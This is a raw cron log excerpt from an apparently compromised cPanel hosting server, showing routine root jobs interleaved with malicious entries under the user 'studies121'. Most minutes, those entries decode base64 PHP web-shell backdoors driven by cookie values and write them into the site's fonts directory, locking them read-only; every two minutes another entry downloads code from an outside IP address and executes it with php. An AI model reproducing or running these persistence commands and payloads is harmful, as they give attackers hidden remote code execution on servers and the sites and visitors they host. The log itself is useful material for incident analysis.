Sep  4 02:31:01 ip-184-168-122-23 CROND[3636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:31:01 ip-184-168-122-23 CROND[3635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:31:01 ip-184-168-122-23 CROND[3637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:32:01 ip-184-168-122-23 CROND[3817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:32:01 ip-184-168-122-23 CROND[3819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:32:01 ip-184-168-122-23 CROND[3820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:32:01 ip-184-168-122-23 CROND[3822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:32:01 ip-184-168-122-23 CROND[3821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:33:01 ip-184-168-122-23 CROND[3947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:33:01 ip-184-168-122-23 CROND[3950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:33:01 ip-184-168-122-23 CROND[3948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:33:01 ip-184-168-122-23 CROND[3949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:34:01 ip-184-168-122-23 CROND[4028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:34:01 ip-184-168-122-23 CROND[4030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:34:01 ip-184-168-122-23 CROND[4033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:34:01 ip-184-168-122-23 CROND[4032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:34:01 ip-184-168-122-23 CROND[4034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:35:01 ip-184-168-122-23 CROND[4124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:35:01 ip-184-168-122-23 CROND[4126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:35:01 ip-184-168-122-23 CROND[4128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:35:01 ip-184-168-122-23 CROND[4126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:35:01 ip-184-168-122-23 CROND[4128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:35:01 ip-184-168-122-23 CROND[4126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:35:01 ip-184-168-122-23 CROND[4128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:35:01 ip-184-168-122-23 CROND[4129]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 02:35:01 ip-184-168-122-23 CROND[4131]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:35:01 ip-184-168-122-23 CROND[4135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:35:01 ip-184-168-122-23 CROND[4136]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 02:35:01 ip-184-168-122-23 CROND[4134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:36:01 ip-184-168-122-23 CROND[4264]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:36:01 ip-184-168-122-23 CROND[4266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:36:01 ip-184-168-122-23 CROND[4268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:36:01 ip-184-168-122-23 CROND[4269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:36:01 ip-184-168-122-23 CROND[4270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:37:01 ip-184-168-122-23 CROND[4360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:37:01 ip-184-168-122-23 CROND[4358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:37:01 ip-184-168-122-23 CROND[4359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:37:01 ip-184-168-122-23 CROND[4361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:38:01 ip-184-168-122-23 CROND[4443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:38:01 ip-184-168-122-23 CROND[4445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:38:01 ip-184-168-122-23 CROND[4446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:38:01 ip-184-168-122-23 CROND[4447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:38:01 ip-184-168-122-23 CROND[4448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:39:01 ip-184-168-122-23 CROND[4618]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 02:39:01 ip-184-168-122-23 CROND[4619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:39:01 ip-184-168-122-23 CROND[4621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:39:01 ip-184-168-122-23 CROND[4620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:39:01 ip-184-168-122-23 CROND[4623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:40:01 ip-184-168-122-23 CROND[4724]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:40:01 ip-184-168-122-23 CROND[4726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:40:01 ip-184-168-122-23 CROND[4727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:40:01 ip-184-168-122-23 CROND[4733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:40:01 ip-184-168-122-23 CROND[4734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:40:01 ip-184-168-122-23 CROND[4735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:40:01 ip-184-168-122-23 CROND[4736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:40:01 ip-184-168-122-23 CROND[4732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:41:01 ip-184-168-122-23 CROND[4828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:41:01 ip-184-168-122-23 CROND[4830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:41:01 ip-184-168-122-23 CROND[4829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:41:01 ip-184-168-122-23 CROND[4832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:42:01 ip-184-168-122-23 CROND[4927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:42:01 ip-184-168-122-23 CROND[4929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:42:01 ip-184-168-122-23 CROND[4931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:42:01 ip-184-168-122-23 CROND[4933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
